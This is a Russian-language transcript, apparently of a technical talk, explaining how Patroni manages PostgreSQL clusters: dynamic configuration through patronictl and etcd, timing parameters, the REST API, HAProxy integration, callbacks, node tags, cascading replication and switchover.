В частности, здесь хранится url, по которому можно подключиться к базе данных Postgres. Здесь хранится api\_url, т. е. url, по которому Patroni, когда он делает promotion, может спросить у другого узла Patroni – мастер он или нет. Здесь хранится состояние базы данных. У нас может быть Patroni запущен на узле, но база данных еще не запущена. У нас хранится роль. И у нас хранится текущая позиция xlog’а или wal’а для данного узла, т. е. в какой позиции он восстанавливает или создает wal-сегменты. И также у нас здесь хранится timeline.
У нас есть несколько других ключей. Есть history. Если вы знаете, что такое timeline history, то вы знаете, что это история promotion данного кластера, история того, как кластер становился из реплики мастером. Здесь хранится эта история. И также хранится время, когда случился promotion. Т. е. по этому ключу вы можете узнать, когда произошел последний failover.
У нас есть кластер, он работает. Я хочу показать, как можно динамически менять конфигурацию вашего Postgres.
Почему это важно и почему это нужно? Потому что у вас есть кластер. Там есть несколько узлов. Вы можете, конечно, пойти на каждый из этих узлов и поменять там postgresql.conf или сделать autosystem для того, чтобы изменить параметры конфигурации, но это изменение будет применено только к одному узлу. А в реальной ситуации, если вы запускаете кластер с мастером и с несколькими репликами, то вам очень-очень хочется, чтобы конфигурация на этих узлах была аутентичная. Потому что любая из ваших реплик может стать мастером и вы не хотите, чтобы у нового мастера параметры shared\_buffers и max\_connections сильно отличались. Потому что это повлияет на функционирование кластера.
Что я хочу показать? Хочу показать, как отредактировать параметр, который называется maintenance\_work\_mem или work\_mem, который делает подсказку планировщику Postgres о том, сколько у нас памяти доступно для вакуума и для создания индексов.
Для этого я возьму Patronictl. Укажу конфигурацию. Скажу – edit-config. И укажу название кластера. Вот команда и вот результат.
И что я хочу сделать? Я хочу поставить этот параметр «maintenance\_work\_mem» или work\_mem. Я иду в Postgres, в parameters. И выставляю его. И говорю ему – 128 MB.
После этого я сохраняю. И Patroni мне говорит, что вот изменения, которые произошли, хотите ли вы применить эти изменения? Я говорю, что хочу применить эти изменения.
И теперь мы смотрим на то, что случилось с нашими кластерами. Посмотрим на лидера. Лидер говорит, что он получил SIGHUP. Это сигнал, который используется Postgres для перезагрузки конфигурации. Я получил SIGHUP и параметр maintenance\_work\_memory поменял свое значение, теперь он равен 128 MB.
Теперь я пойду на реплику и я увижу тоже самое. Я получил SIGHUP и этот параметр тоже стал равен 128 MB.
Т. е. мы сделали одно действие на одном узле и результат этого действия применился ко всему кластеру. Более того, Patroni сделал reloading за вас. Т. е. вам нужно поменять конфигурацию в одном месте и все. Patroni сделает все остальные действия за вас.
Patronictl можно запускать с вашего ноутбука. Это необязательно делать на сервере.
Теперь мы сделаем более интересное действие. Потому что maintenance\_work\_mem можно менять, не перезагружая кластер.
Теперь мы посмотрим, что произойдет, если мы поменяем параметр, для которого нужна перезагрузка кластера. Для этого мы также запустим edit-config. Только вместо maintenance\_work\_memory мы поменяем параметр «max\_connections». На что влияет этот параметр? Это максимальное количество соединений, которое может получить ваш postgres-кластер. Если вы направите на него больше клиентов, чем max\_connections, то ваши клиенты получат сообщение о том, что у кластера слишком много соединений.
Max\_connection нельзя поставить на реплике меньше, чем на мастере.
В max\_connection мы сейчас поставим значение – 101. И посмотрим, что произойдет. Вот тот же самый вывод. Max\_connection поменялся, стало 101. Я говорю, чтобы изменения применились. И давайте посмотрим, что у нас с мастером. Будет ли на нем что-то показываться? Он продолжает работать и ничего не показывает, как будто ничего не произошло.
Почему? Для того чтобы изменить этот параметр, нужна перезагрузка Postgres. **Patroni не будет за вас перезагружать ваш кластер.** Потому что, если вы перезагрузите мастер, то клиенты, которые соединяются с мастером, отвалятся. И вам позвонят разработчики и спросят: «Что вы делаете посередине production и зачем вы это делаете?». Поэтому это решение Patroni оставляет пользователю.
Каким образом мы можем узнать о том, что нам нужно перезагрузить кластер? Мы можем спросить у самого Patroni. Мы можем использовать REST API. У Patroni есть REST API, который позволяет узнать очень много информации про кластер, в частности ту информацию, которая есть в etcd.
Мы сейчас выполним эту команду. И что мы здесь видим? Мы видим, что – это реплика. Но это не так важно. Что еще мы здесь видим, кроме того, что это реплика? Мы видим, что у нас вот такой флаг «pending\_restart» включился и стал «true». Т. е. pending\_restart – это требуется перезагрузка. Раньше этого флага не было. Сейчас он стал «true». И по значению этого флага мы можем знать, что для того, чтобы изменения, которые были сделаны в конфигурации, вступили в силу, необходимо перезагрузить кластер.
Если мы пойдем на мастер, то мы увидим тоже самое. Все узлы ждут, пока мы перезагрузим кластер. И на том, и на том узле у нас есть этот флаг. Теперь нам нужно перезагрузить этот кластер. Что мы сделаем?
Мы можем запустить Patronictl list для того, чтобы увидеть тоже самое. Patronictl показывает вам, что оба узла нуждаются в перезагрузке. Что мы можем сделать?
Мы можем взять и перезагрузить Patronictl, т. е. перезагрузить Patroni с помощью команды «patronictl restart». Здесь у нас есть два узла, он спрашивает, какой узел я хочу перезагрузить. Он сейчас спрашивает подтверждение. Я скажу ему, что я хочу перезагрузить все узлы кластера, т. е. и postgresql1 и postgresql2. В production ситуации я могу сначала перезагрузить реплики, потом сделать на них failover, потом перезагрузить мастер.
Или просто перезагрузить мастер.
Дальше тут есть различные опции у рестарта, на которых я сейчас заострять внимание не буду. И что у нас получилось? Мы перезагрузили реплику, мы перезагрузили мастер. При этом мастер не потерял свой ключ, т. е. он остался мастером. И реплика осталась репликой, реплицирует с мастера.
Теперь давайте посмотрим – получилась ли наша затея с изменением max\_connections или нет. Для этого мы подключимся к любому из этих узлов и скажем «show max\_connections». Видите – 101. Давайте проверим другой узел. Тоже 101. (Уточнение: Если бы перезагрузили только мастер, то на реплике было бы max\_connections равно 100) Т. е. мы изменили max\_connections. С помощью Patroni мы перезагрузили весь кластер. И изменения применились.
Если бы мы это делали вручную, нам нужно было быть очень аккуратными. Потому что max\_connections на реплике должен быть не меньше, чем max\_connections на мастере. Если бы вначале увеличили max\_connections на мастере, оставили реплику неизменной, то реплика не смогла реплицировать данные с мастера, если бы мы все это делали вручную. В случае Patroni нам не нужно об этом задумываться. Patroni все сделает сам.
Т. е. в крайнем случае, если реплика поймет то, что max\_connections на мастере был увеличен, она остановится. Patroni увидит, что Postgres не работает и запустит его с новым max\_connections.
Рестарт требует указать имя кластера и имя одной ноды. Вы можете выбрать какую ноду вы хотите зарестартить. Batman – это имя кластера. Если никаких нод не указывать, то он сделает рестарт для всех нод кластера. Но вы можете указать какую-то конкретную ноду.
Patroni работал хорошо, теперь я хочу показать экстремальную ситуацию, когда что-то пойдет не так.
Для этого я хочу остановиться на конфигурации самого Patroni. Т. е. мы сейчас меняли конфигурацию Postgres, но у Patroni тоже есть конфигурация, записанная в yml. И в частности до этого у нас был вопрос: «Насколько быстро может реплика определить, что мастера уже нет и после этого сделать promotion?».
Это поведение регулируется параметром ttl, т. е. время жизни ключа лидера в etcd или в другой системе. И есть определенная зависимость между этим параметром ttl и некоторыми другими параметрами.
Нужно немножко остановиться на том, как работает Patroni. У Patroni есть цикл обработки событий, когда он смотрит на свою роль, он смотрит на какие-то действия, которые ему, возможно, необходимо выполнить. Например, сделать рестарт, сделать failover.
Если никаких действий не надо делать, он засыпает. И после этого снова просыпается. Параметр, насколько он засыпает, это параметр «loop\_wait». Т. е. сколько он ждет перед тем, как начать новую итерацию цикла.
Что будет, если поставить loop\_wait больше, чем ttl? Patroni заснет. Во время того, как он спит, он потеряет ключ, если он мастер. И пройдет promotion какого-то другого узла. У этого другого узла ситуация повториться ровно зеркально. Т. е. этот узел заснет, он потеряет свой ключ лидера.
Поэтому есть фундаментальная зависимость, что ttl должен быть больше, чем loop\_wait. Но есть еще одно слагаемое в этой формуле, потому что когда Patroni не видит etcd, он не мгновенно говорит «demoting», а пытается несколько раз соединиться с etcd для того, чтобы действительно убедиться, что ее нет. Вот это время соединения регулируется параметром retry\_timeout.
Соответственно, формула такая: ttl ключа лидера должен быть больше, чем loop\_wait + 2 значения retry\_timeout. И на схеме видно, что есть loop\_wait, есть retry\_timeout и вот это ttl.
Что мы сейчас попробуем сделать? Мы попробуем эту зависимость нарушить. Т. е. мы поставить loop\_wait очень маленьким, ttl поставим очень большим. Мы поставим loop\_wait в 10 секунд, а ttl в 5. Таким образом ключ лидера заэкспайрится в то время, когда Patroni будет спать. Посмотрим, что будет.
Я делаю «patronictl edit-config» и ставлю ttl в 5 секунд, loop\_wait в 10 секунд. Что произойдет в данном случае, мы сейчас увидим.
Мы применили изменения. И сразу же мы видим, что поддержка watchdog’а, которая есть в Patroni, сказала, что есть ошибка. Если бы мы включили watchdog, то он бы просто убил этот кластер, потому что у нас нет ключа лидера. Что мы еще здесь видим? Мы видим, что наш лидер потерял ключ лидера и после этого получил этот ключ лидера заново.
Postgres работает как мастер. Он пишет «acquired session lock as a leader». Что произошло? Пока наш Patroni спал, ключ лидера заэкспайрился, Patroni все еще был мастером. Он после этого увидел, что он мастер и у него нет ключа лидера. Ему нужно получить этот ключ лидера. Он получил ключ лидера, заснул. После этого ключ лидера снова заэкспайрился, потому что мы спим больше, чем время экспирации ключа. И это поведение у нас повторяется все время. Он все время перезабирает ключ лидера. И сам же его теряет после этого.
Гораздо интереснее посмотреть, что на реплике происходит. На реплике происходит полный хаос, потому что у нас нет больше ключа лидера и она пытается себя избрать новым лидером. И получает ответ от текущего лидера. Т. е. когда она пытается избрать себя новым лидером, она опрашивает бывшего лидера через REST API и получает ответ, что он жив, что у него роль мастера. И она говорит, что не может сделать себе promotion. И это все повторяется.
В данном случае в etcd ничего не записано. Там пусто, поэтому она никому не следует. Да, она говорит «following a different leader», т. е. следую другому лидеру. Но поскольку ключа etcd у нас нет, то она остается в режиме только чтение, т. е. она не реплицирует ниоткуда. И эта ситуация повторяется. Т. е. у нас есть мастер, который переполучает свой ключ. И есть реплика, которая остановилась и ничего не делает.
Это то, как делать не надо, поэтому мы сейчас поменяем конфигурацию в обратную сторону и убедимся, что все у нас работает. В данном случае я поменял конфигурацию обратно. И вы можете видеть, что лидер перестал переполучать свой ключ, т. е. лидер начал стабильно работать как лидер отныне. И мы можем видеть, что реплика подключилась к этому лидеру и начала нормальную репликацию. Это была иллюстрация на тему того, почему вот это важно, т. е. почему важно это соотношение, когда ttl был больше, чем loop\_wait + retry\_timeout \*2.
Вывод из этого такой: если вы хотите определять, что ваш мастер исчез и делать это быстро, то вам нужно уменьшить ttl. Но когда вы уменьшаете ttl, вы должны также следить за тем, чтобы это соотношение выполнялось, т. е. уменьшать и loop\_wait тоже. Иначе вы получите ту проблему, которую мы только что продемонстрировали.
И, скорее всего, retry\_timeout придется сделать поменьше. Но при этом не забывайте, что иногда сеть может лагать. И если в retry\_timeout не удается выполнить какое-то действие в etcd, то Patroni сделает demoting текущему мастеру. В обычном дата-центре, где у нас работают обычные сервера, мы, наоборот, увеличили ttl до 60 секунд, потому что у нас один раз была проблема, когда switches перезагружались. В течение 30 секунд не было никакой связи. И когда мастер прыгает туда-сюда, то это не самая лучшая ситуация.
И я бы хотел показать саму конфигурацию Patroni. Давайте посмотрим, как это выглядит. Вот это типичная конфигурация Patroni. И в этой конфигурации есть bootstrap секция. В этой bootstrap секции мы можем увидеть эти параметры ttl и loop\_wait, а также retry\_timeout, которые мы указали. И можем увидеть некоторые другие, в том числе параметры Postgres.
Для чего служит bootstrap секция? Когда вы инициализируете абсолютно новый кластер в etcd, то параметры из этой bootstrap секции записываются в etcd. И после этого применяются на других узлах этого кластера. В частности, ttl, loop\_wait. Они записываются изначально. И после этого новый узел, который стартует, он получает эти параметры из etcd и продолжает работать с этими параметрами.
В частности, в PostgreSQL у нас есть параметр «use\_pg\_rewind», который говорит о том, что мы хотим использовать pg\_rewind. Это параметр Patroni, это не параметр Postgres. Мы также можем указать параметры Postgres. В данном случае у нас тут нет ничего, т. е. все параметры закомментированы. Но мы можем указать любой из параметров. И он будет применен на всех узлах кластера изначально, когда кластер стартует.
Но если после того, как кластер был создан, вы поменяли секцию bootstrap и перезагрузили Patroni, то ничего не произойдет. Вся дальнейшая работа с такой конфигурацией должна выполняться при помощи Patronictl, т. е. вы должны менять ее в etcd. Patronictl предоставляет удобный интерфейс для этого.
Т. е. как только кластер был создан, а именно, когда информация в etcd была создана и когда первая нода была инициализирована успешно, то с этого момента как бы вы не меняли параметры в этой секции bootstrap, эти изменения никаким образом не войдут силу, потому что эти параметры записываются при изначальном создании кластера. И после этого они игнорируются.
Что же делать? Как же нам менять параметры у Postgres? Для этого у нас есть несколько путей.
Один из путей – это поменять их в patroni.yaml. У нас есть секция bootstrap. Но также, если мы промотаем чуть ниже, у нас есть просто секция PostgreSQL. И в секции PostgreSQL те параметры, которые мы укажем, они локальны для данного кластера. Т. е. с помощью параметров в Patroni мы можем поставить какие-то параметры на этом узле кластера. И эти параметры не применятся к другим узлам. Например, если у нас узлы кластера неравнозначные с точки зрения конфигурации железа, например, на одном узле у нас 16 ГB памяти, а на другом всего Г MB, то мы можем поставить на одном 4 ГB shared buffers, на другом всего 1 ГB. И таким образом у нас будет сохраняться баланс между размером памяти и размером shared buffers. Т. е. один из способов – это изменение конфигурации Patroni в локальной секции. Не в секции bootstrap, а в секции локальной конфигурации.
Есть другие способы. Мы можем эту конфигурацию поменять в etcd. В etcd у нас есть ключ config. Мы можем посмотреть это.
`etcdctl ls / service/batman/config`
У нас конфигурация собирается из разных источников. В первую очередь мы смотрим, что у нас в etcd хранится. Потом в Patroni.yaml, т. е. в конфигурационном файле для данной конкретной ноды можно какие-то параметры переопределить. Мы у себя в production, как правило, это не делаем, потому что все сервера более-менее одинаковые.
Третьим вариантом может быть изменение в каком-то конфигурационном файле Postgres. И четвертым вариантом может быть alter system или еще что-то.
Мы сейчас к этому подойдем. Я хотел показать, что у нас хранится в etcd конфигурации. Вот у нас есть конфигурация, которая инициализировалась в момент bootstrap, в момент создания кластера. Вот она здесь, в том числе и retry\_timeout, и в том числе параметры Postgres. Таким же образом можно в etcd что-то записать в postgresql parameters. И то, что мы там запишем, применится Patroni на узлах кластера, когда мы скажем Patroni, чтобы он перезагрузил конфигурацию.
И patronictl показывает данную конфигурацию, когда мы ее редактируем. Только единственная разница в том, что хранится в json, а patronictl использует yml, который более человекочитаемый и самое главное – человекозаписываемый. Потому что редактировать json вручную – это непростое занятие.
В первую очередь он берет из etcd. Если тот же самый параметр указан в patroni.yaml, то он будет переопределять то, что в etcd записано. Т. е. work\_mem в etcd был 16 MB, в patroni.yaml он стал 12 MB. Patroni.yaml будет иметь приоритет. И как это работает? Patroni сгенерирует postgres’овый конфигурационный файл, куда записывает 12 MB. Дальше вы еще можете использовать Alter System, но это необязательно, т. е. patroni.yaml имеет приоритет над etcd.
Т. е. вот, например, postgresql.conf, который записывает Patroni для кластера, который он инициализировал. Это просто postgresql.conf. Я покажу команду, которую я выполнил. Я хочу посмотреть содержимое этого файла. И самые первые две строчки говорят о том, что не надо редактировать этот файл вручную. Этот файл создал Patroni.
И следующая строчка у нас include ‘postgresql.base.conf’. Мы можем посмотреть на него.
Вот этот base файл вы можете редактировать. Либо можно в конфигурации Patroni сказать – пожалуйста, используй не base файл, а какой-нибудь другой, т. е. файл, который вы можете деплоить из Git, например, и сами менеджить его.
Что взял Patroni? Он взял оригинальный postgresql.conf и переименовал его postgresql.base.conf. Мы видим, что это первозданный postgres файл. И после этого создал свой postgresql.conf, в который он непосредственно записывает те параметры, которые он получает из etcd и других источников. И включил в него также postgresql.base.conf.
Что это нам дает? Это нам дает возможность редактировать конфигурацию с помощью команды alter system. Эти параметры будет применены, эти параметры будут записаны в base.conf и эти параметры будут использоваться. Но если вы сделаете alter system на каком-то узле, то эти параметры, которые вы изменили, будут применены только на одном узле. Если вы хотите поменять параметры везде, глобально во всем кластере, то используйте Patronictl edit-config также, как я вам показал на примере maintenance\_woke\_mem или shared\_buffers. Они в таком случае применяются на всех узлах кластера.
Здесь показана как раз последовательность, о которой мы уже сказали. Т. е. сначала берутся параметры из узла ключа config. Параметры могут также переопределяться в patroni.yaml. **Если они переопределены в patroni.yaml для конкретного узла, то эти параметры будут более приоритетные, чем из config, если один параметр указан и там, и там.** Или есть параметры alter system, которые еще более приоритетные для данного узла. Но если вы поменяете что-то с помощью alter system, что требует перезагрузки кластера, например, max\_connections, то Patroni вам об этом не скажет с помощью pending\_restart.
Через alter system не получится max\_connections поменять.
Да, хорошо. Плохой пример. Shares\_buffers.
Есть также список зависимых параметров, т. е. зависимые параметры на мастере и на реплике. В частности, значение на реплике должно быть не меньше значения на мастере. Это те же самые max\_connections, max\_locks\_per\_transaction, wal\_level. Wal\_revel регулирует каким образом wal будет создаваться на мастере. Если вы поставите минимум, то у вас реплики не будет никакой. Она не сможет эти wal’ы проигрывать.
И Patroni не разрешит поставить его минимум. Он должен быть либо реплика, либо logical.
Что происходит с Patroni? Когда он запускает Postgres он передает эти параметры в командной строке. Поэтому вы не сможете переопределить их локально для данного кластера. Потому что ваши переопределения будут перезаписаны Patroni. Вы сможете переопределить их только с помощью Patronictl edit-config глобально для всего кластера. **Это то, что вы хотите, потому что это позволит вам избежать ошибок и избежать случая, когда реплика не может стартовать, потому что этот параметр установлен в неправильное значение.**
Теперь мы поговорим про Patroni в основном и про REST API, который он предоставляет. Поговорим о том, как его можно использовать и поговорим для чего он нужен.
С самого начала проекта Patroni предоставлял два или три endpoints в REST API. Один из них – это мастер или просто слэш, он принимает только GET requests. В принципе, еще options принимает, но это не так важно.
Для чего он нужен? Мастер вернет статус `200 ОK`, только при условии, что данная нода работает как мастер. PostgreSQL у нас не работает в recovery и у нас есть ключ лидера.
Реплика вернет статут `200 OK` только в случае, если данная нода работает как реплика, если она не исключена из балансирования read-only нагрузки и при условии, что у нас там Postgres работает. Т. е. если Postgres там стартует или сломался, или еще что-то, то реплика вернет 503.
Соответственно, с мастером тоже самое. Если нода не работает как мастер, то такой endpoint `/master` будет возвращать статус 503.
Есть у нас еще Patroni. В принципе, он возвращает такой же ответ как мастер или реплика. Т. е. помимо статуса они возвращают json-документ, в котором будут указаны позиция xlog’а, состояние Postgres и какая-нибудь другая дополнительная информация. Например, требует ли данный узел рестарта и тому подобное. Но отличие в том, что Patroni всегда возвращает статус 200.
Есть у нас еще отдельный endpoint для изменений и просмотра конфигурации `/config`. В принципе, он сейчас не очень нужен, потому что все делается очень удобно через Patronicrl. Но раньше это был единственный способ управления глобальной конфигурацией.
Patroni умеет делать `/switchover` и `/failover`. Switchover, как мы уже знаем, это штатная операция переключения. Т. е. у нас был мастер, который был в работоспособном состоянии, но по какой-то причине мы решили, что мастер у нас теперь должен жить на каком-то другом сервере, потому что на старом сервере, например, мы хотим провести какие-то работы регламентные. Например, заменить жесткий диск или блок питания, или один из блоков питания сбоит.
Patroni также через REST API умеет рестартовать Postgres. Для этого есть у нас `/restart` endpoint.
И Patroni умеет реинициализировать кластер. Т. е. может возникнуть такая ситуация, что не получается стартовать реплику и pg\_rewind тоже не работает. Реплика очень сильно запаздывает по отношению к мастеру. Может быть, wal’ы были потеряны, может быть, еще что-то. И единственный вариант – это сделать полный `/reinitialize`, т. е. остановить Postgres, удалить дата-директорию и взять base\_backup.
И большинство из этих endpoints используются в Patronictl и вам необязательно их дергать.
Как выглядит ответ Patroni endpoint на мастере? Это json-документ. Он показывает нам database\_system\_identifier. Это такой уникальный ключ, который генерируется только тогда, когда мы создаем новый кластер. Он говорит о том, что это за кластер, какое у него имя. Это batman. Говорит о том, когда у нас Postgres стартовал.
На мастере мы еще видим состояние репликации. Он говорит, что мы работаем как мастер.
И в server\_version он говорит версию Postgres. В данном случае – это у нас 10.0. Вы можете мониторить, что у вас Postgres последней версии.
На реплике выглядит это примерно так же. Она говорит, что я – реплика, я работаю, у меня timeline – 2.
И xlog выглядит немножко по-другому, потому что у реплики есть информация о том, какая позиция xlog’а была получена от мастера, сколько было его применено.
Последний timestamp – null. Почему replayed\_timestamp – null? Потому что у нас не было никакой активности, когда мы этот скриншот делали. Соответственно, если на мастере никаких транзакций не происходит, то ничего не известно о том, какой timestamp был у последней транзакции.
И у нас replayed\_location каким-то образом получился больше, чем received на 300 байт. Почему? Как такое может быть? Вот эти две функции, которые возвращают данные позиции, они не транзакционные. Просто запрос составлен таким образом, что received\_timestamp запрашивается раньше, чем replayed\_timestamp. Мы, конечно, это исправим, поменяем их местами.
И вот эти endpoints можно использовать для мониторинга состояния Postgres, для мониторинга состояния Patroni.
Мы можем использовать в том числе эти endpoints для того, чтобы перенаправлять клиентские соединения на мастер, либо делать какую-то балансировку между репликами.
HAProxy умеет посылать активные запросы о состоянии. HAProxy периодически посылает на все ноды, которые описаны в его конфигурации, запрос – работаешь ли ты как мастер? Мастер скажет статус 200, реплики скажут 503. И с репликами, наоборот. И на основе этого HAProxy может отправлять клиентские запросы, которые предназначены для мастера, исключительно на мастер. И он делает такую балансировку между репликами.
Как еще можно клиентские коннекты перенаправлять? Например, вы работаете внутри одного дата-центра или у вас есть возможность назначать IP между разными дата-центрами, но один и тот же IP. Либо можете менять DNS, то в этом случае не требуется перекидывать IP из одного дата-центра на другой.
У Patroni есть возможность выполнить какой-нибудь исполняемый файл. Обычно это shell script. Patroni дернет такой файл при некоторых событиях. Например, когда он стартует Postgres, он выполнит скрипт, который описан в on \_start, при остановке Postgres он выполнит скрипт, который описан в on\_stop. При on\_reload, on\_restart – все тоже самое.
On\_role\_change – это немного хитрее. Допустим, у нас была реплика, которая стала мастером. Т. е. Patroni выполнил pg\_ctl promote. И сразу же после этого Patroni выполнит скрипт, который описан в on\_role\_change. Вы можете, например, назначить новый виртуальный IP на этот сервер, где мастер работает.
Какие у нас еще есть возможности? Поскольку топология кластера может меняться, мы можем перенести ноду с одной машины на другую. Там может IP поменяться. И поддерживать конфигурацию HAProxy – это задача малоприятная. Мы не хотим каждый раз брать и идти в HAProxy и удалять старую ноду оттуда, добавить новую. Для этого есть замечательная утилита. Называется [confd](https://github.com/kelseyhightower/confd). Она позволяет с помощью информации, которая хранится либо в etcd, либо в ZooKeeper строить конфигурационный файл по шаблону. Пример <https://github.com/zalando/patroni/blob/master/extras/confd/conf.d/haproxy.toml>
И для этой утилиты у нас есть файл с настройками, что мы должны делать, когда у нас в etcd что-то поменялось. Т. е. если новый конфигурационный файл получается измененным, то в первую очередь этот confd может проверить корректность нового файла. И если все выполнено успешно, он сможет записать новый файл и сделать reload, т. е. перезапустить или перечитать новую конфигурацию HAProxy.
И можем посмотреть, как выглядит [template](https://github.com/zalando/patroni/blob/master/extras/confd/templates/haproxy.tmpl) для HAProxy. Мы описываем здесь max\_connections, описываем тайм-ауты и описываем два сервера. Один будет перенаправлять трафик на матер, а другой будет балансировать трафик между репликами.
Что здесь важно? Мы обязаны применить такую опцию «on-marked-down shutdown-sessions». Что это означает? Если вдруг нода, которая раньше была мастером и отвечала статусом 200, вдруг стала отвечать статусом 503 или вообще перестала быть доступной, то HAProxy возьмет и отрубит все эти соединения. Он не будет больше отправлять наши запросы с клиента на сервер, который мастером был, но теперь перестал им быть. Потому что может быть ситуация, что Postgres до сих пор работает и выполняет какие-то транзакции. И этого мы обязаны избежать. И HAProxy позволяет это решить. И с помощью такой конструкции генерируется список узлов, между которыми HAProxy будет выполнять health checks и балансировать.
И какой у нас еще есть вариант? Мы можем адаптировать такой же подход для confd, чтобы он генерировал config для PgBouncer. Это может быть даже лучше, потому что PgBouncer умеет ставить наши соединения на паузу. И если вдруг происходит ситуация, когда мастер перемещается на другую ноду, потому что failover произошел, то клиент может этого даже не заметить. PgBouncer позволит разрешить данную ситуацию.
И начиная с Postgres 10-ой версии мы можем указать несколько хостов в connection string. Мы можем запросить режим read-write и libpq попытается подсоединиться ко всем указанным хостам. И в случае, если это у нас мастер, то он на нем остановится. Можно указать read only или еще что-нибудь.
Давайте посмотрим более подробно на callbacks. Это пример конфигурации, которую мы используем в нашем классическом дата-центре.
У нас есть callbacks скрипт, который либо добавляет service\_ip (виртуальный ip), либо убирает его при определенных ситуациях.
Если мы стартуем как мастер или вдруг наша нода была promotion до мастера, то мы должны добавить service\_ip. Во всех остальных ситуациях мы должны удалить его с данной ноды. Этот скрипт исполняется только на одной ноде. Другая нода, если она имеет этот скрипт, она его будет исполнять независимо от этого.
И этот скрипт как параметр получает, во-первых, имя callback и, во-вторых, роль, которую имеет этот узел. Т. е. если этот узел стал мастером, то скрипт будет вызван как on\_role\_change. Мастер и scope – это кластерное имя.
Что важно звать про callbacks? Они исполняются асинхронно по отношению ко всем остальным действиям в кластере. И может возникнуть такая ситуация, что мастер прыгает туда-сюда. И callback на одном из узлов, на котором он был запущен раньше, он завершится позже по времени, чем callback, запущенный на другом узле. И, соответственно, если у нас мастер вдруг станет прыгать туда-сюда, то может оказаться неприятной ситуацией то, что этот виртуальный IP вдруг окажется назначен на какую-то неправильную ноду, поэтому тут надо быть осторожным. У нас есть issue, где вы можете почитать подробности.
Как мы можем управлять поведением нод? Что мы можем сделать, если у нас есть нода в каком-то удаленном дата-центре и мы не хотим, чтобы она стала мастером в результате таких выборов?
Для этого у нас есть механизм tags. Эти теги прописываются в конфигурации Patroni в отдельной секции. Их можно прописать только в конфигурации. Если вы пропишите эти теги глобально в etcd, то никакого значения они не будут иметь на нодах. Исключительно нужно писать в конфигурационном файле.
Если вы хотите, чтобы нода никогда не стала мастером, то вы можете установить тег nofailover в true. По умолчанию он false.
Еще у нас есть тег noloadbalance. Если мы делаем read only, то noloadbalance при помощи HAProxy даже, когда нода действительно как реплика, она все равно будет выдавать статус 503, при условии, что у нас тег установлен в true.
Есть еще интересный тег. Он называется clonefrom. Это говорит о том, что нода разрешает с нее взять basebackup. Как мы знаем, pg\_basebackup умеет делать бэкап не только с мастера, но и с любой реплики. И если вы создаете какие-то новые ноды, то вы, как правило, не хотите загружать мастер бесполезной нагрузкой. Например, вам надо скопировать один терабайт данных, но мастеру и так есть чем заняться, он транзакцию выполняет. Если какая-то из существующих других нод имеет выставленный тег clonefrom, то Patroni basebackup с этой ноды. Если у нас несколько таких нод, то он возьмет и в случайном порядке выберет какую-то из них.
Также есть возможность контролировать синхронную репликацию на таком уровне для каждой ноды. Может быть ситуация, когда есть какая-то нода на удаленном дата-центре. И пинг достаточно большой. И мы не хотим, чтобы эта нода становилась синхронной, даже если она осталась единственной. В этом случае мы можем ее пометить с помощью nosync.
**И Patroni предоставляет возможность строить каскадные решения.** Мы можем реплицироваться не напрямую с мастера, а с какой-то из существующих нод. **Когда это может быть полезно? Если у вас есть два или три дата-центра. И один из этих дата-центров удаленный.** И вы настраиваете одну из нод в этом дата-центре на то, что он реплицировал с матера, а все остальные ноды будут реплицировать с данной ноды. Т. е. вы будете гнать трафик из одного дата центра в другой – всего лишь один раз. Это выгодно, когда канал узкий или трафик дорогой.
Replicatefrom говорит о том, с какой конкретной ноды мы хотим реплицировать данные. Почему нельзя сделать наоборот? Потому что Patroni создает replication-слоты. И нода не может создать replication-слоты для каких-то других нод, если она не знает, что с нее хотят реплицировать. Т. е. мастер создает слоты для всех нод, которые хотят реплицировать с мастера, а какая-то нода, с которой ведется каскадная репликация, она создаст слоты для нод, которые хотят с нее реплицировать.
Для чего нужны replication-слоты? Они нужны для того, чтобы избежать удаления wal-сегментов, которые вдруг не были среплицированы, пока Postgres был на какой-то реплике недоступен или запаздывал.
И я уже сказал, что вы можете сконфигурировать теги только внутри Patroni конфигурационного файла и бесполезно их писать в etcd.
Вы можете поиграть с каскадной репликацией. Для этого у нас есть postges2.yml файл. Насколько я помню там прописано то, что она должна реплицироваться с postgres1. Соответственно, postgres1 создаст replication-слот и postgres2 будет реплицировать с нее.
В чем разница между switchover и failover? И всегда ли failover может быть автоматический?
Switchover – это плановые работы. Т. е. мы берем и переключаем мастера с одной ноды на другую.
Failover – это когда возникают внештатные ситуации, когда у нас мастер отказал.
Но с failover могут быть такие проблемы. Можно ли использовать данную реплику для того, чтобы она стала новым мастером? И может возникнуть ситуация, когда реплика очень сильно запаздывает. А мастер периодически записывал в etcd свою последнюю позицию xlog’а. И этот параметр настраиваемый. По умолчанию, по-моему, он равен нулю. Может быть 10 MB, но это не важно, поскольку вы его можете настроить в зависимости от ваших требований. И если нода замечает, что lag был больше, чем 10 MB и принимает решение, что она не может стать новым мастером. И звезды на небе могут сойтись таким образом, что ноды понимают, что они очень сильно запаздывали. И в этом случае нам придет на помощь manual failover. Мы можем выбрать какую-то конкретную ноду, которая была ближе всего к мастеру, т. е. можем вручную сказать ей, что ты будешь новым мастером.
Switchover можно сделать в данный момент времени или его можно сделать отложенным, т. е. дать задание Patroni. Но самое важно, что switchover можно сделать только, если у нас есть мастер и он в данный момент работает. И что особенно важно, так это то, что Patroni позаботится о том, чтобы определить – может ли какая-нибудь из других нод стать новым мастером. Т.е. прежде чем остановить Postgres, Patroni подконнектится к оставшимся нодам для того, чтобы понять – если ли среди них хороший кандидат. Если кандидата нет, то switchover просто откажется делать. Это и защита от дурака, и не дает себе выстрелить в ногу.
Давайте теперь попробуем сделать switchover.
Т. е. я хочу показать вам сейчас switchover. И мы покажем синхронную репликацию в интерактивном режиме. А все остальное я вам буду показывать на экране, поэтому что эти слайды очень похожи.
Эти команды есть на слайде. Эти слайды будут доступны, вы можете их посмотреть. И вы сможете повторить то, что мы сейчас показываем, в интерактивном режиме у себя на виртуальной машине.
Давайте посмотрим на switchover. Я запущу ту же самую команду, которая у нас есть: patronictl switchover batman. Имя кластера у нас batman. Нам нужно указывать параметр конфигурации, потому что Patronictl должен найти, где находится etcd.
Он спрашивал мастер postgres1. Я нажимаю – enter, т. е. я с ним согласен. Он предлагает кандидата на выбор. Я могу указать конкретного кандидата. Или я могу сказать, что мне все равно. И он переключится на любую реплику, которая будет удовлетворять условиям переключения, т. е. которая будет достаточно близко к мастеру и на которой будет работать Postgres.
Switchover гарантирует отсутствие потери данных. Все реплики, которые реплицируют с мастера при switchover, они гарантировано получат все данные с прошлого мастера.
